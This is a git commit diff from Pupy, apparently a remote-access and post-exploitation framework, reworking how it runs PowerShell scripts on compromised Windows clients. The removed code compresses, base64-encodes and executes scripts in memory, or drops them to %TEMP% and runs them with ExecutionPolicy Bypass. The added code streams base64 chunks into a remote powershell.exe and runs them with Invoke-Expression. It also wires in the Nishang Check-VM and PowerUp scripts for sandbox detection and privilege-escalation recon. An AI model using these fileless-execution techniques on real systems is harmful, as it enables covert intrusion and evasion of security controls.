fix powershell upload

This commit is contained in:
Alessandro ZANNI 2016-07-24 21:50:11 +02:00
parent cb07309a90
commit f3af4aa726
4 changed files with 21 additions and 56 deletions

View File

@ -17,4 +17,4 @@ class CheckVM(PupyModule):
content = open(os.path.join(ROOT, "external", "Nishang", "Check-VM.ps1"), 'r').read() content = open(os.path.join(ROOT, "external", "Nishang", "Check-VM.ps1"), 'r').read()
function = 'Check-VM' function = 'Check-VM'
output = execute_powershell_script(self, content, function) output = execute_powershell_script(self, content, function)
self.success("Output of the script: \n%s" % output) self.success("%s" % output)

View File

@ -1,10 +0,0 @@
$base64 = "[BASE64]"
$data = [System.Convert]::FromBase64String($base64)
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
$sr = New-Object System.IO.StreamReader($cs)
$t = $sr.readtoend()
Invoke-Expression $t
Invoke-Expression [FUNCTION_NAME]

View File

@ -1,54 +1,29 @@
from rpyc.utils.classic import upload from rpyc.utils.classic import upload
import base64 import base64
import tempfile from subprocess import PIPE, Popen
import gzip
import StringIO
import subprocess import subprocess
import os
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "..", ".."))
def execute_powershell_script(module, content, function): def execute_powershell_script(module, content, function):
template = open(os.path.join(ROOT, "modules", "lib", "utils", "upload_powershell_script_template.ps1"), 'r').read() fullargs=["powershell.exe", "-C", "-"]
# compress the content of the script to upload p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
out = StringIO.StringIO() p.stdin.write("$base64=\"\""+"\n")
with gzip.GzipFile(fileobj=out, mode="w") as f: n = 20000
f.write(content) line = base64.b64encode(content)
tab = [line[i:i+n] for i in range(0, len(line), n)]
for t in tab:
p.stdin.write("$base64+=\"%s\"\n" % t)
p.stdin.flush()
# encode the gzip content in base64 p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
encoded = base64.b64encode(out.getvalue()) p.stdin.write("Invoke-Expression $d\n")
p.stdin.write("$a=Invoke-Expression %s | Format-Table -HideTableHeaders | Out-String\n" % function)
# replace meta data from the template p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
template = template.replace('[BASE64]', encoded) p.stdin.write("Write-Host $b\n")
template = template.replace('[FUNCTION_NAME]', function)
# Get the result
output = "" output = ""
# execute of the powershell script in memory if the size is lower of the max size for i in p.stdout.readline():
if len(template) < 32710: output += i
module.success("Executing the powershell code on memory") output = base64.b64decode(output)
cmd = []
cmd.append('powershell.exe')
cmd.append('/c')
cmd.append(template)
output = module.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True)
else:
tf = tempfile.NamedTemporaryFile()
f = open(tf.name, 'w')
f.write(template)
f.close()
remoteTempFolder = module.client.conn.modules['os.path'].expandvars("%TEMP%")
tfName = tf.name.split(os.sep)
tfName = tfName[len(tfName)-1]
module.success("Uploading powershell code to: %s\%s.ps1" % (remoteTempFolder, tfName))
upload(module.client.conn, tf.name, module.client.conn.modules['os.path'].join(remoteTempFolder, '%s.ps1' % tfName))
module.success("Executing the powershell code")
output = module.client.conn.modules.subprocess.check_output("PowerShell.exe -ExecutionPolicy Bypass -File %s.ps1"%(module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
module.success("Removing the powershell code")
module.client.conn.modules.subprocess.check_output("cmd.exe del %s.ps1" % (module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
return output return output

View File

@ -23,4 +23,4 @@ class PowerUp(PupyModule):
# parse output depending on the PowerUp output # parse output depending on the PowerUp output
output = output.replace('\r\n\r\n\r\n', '\r\n\r\n').replace("\n\n", "\n").replace("\n\n", "\n") output = output.replace('\r\n\r\n\r\n', '\r\n\r\n').replace("\n\n", "\n").replace("\n\n", "\n")
self.success("Output of the script: \n%s" % output) self.success("%s" % output)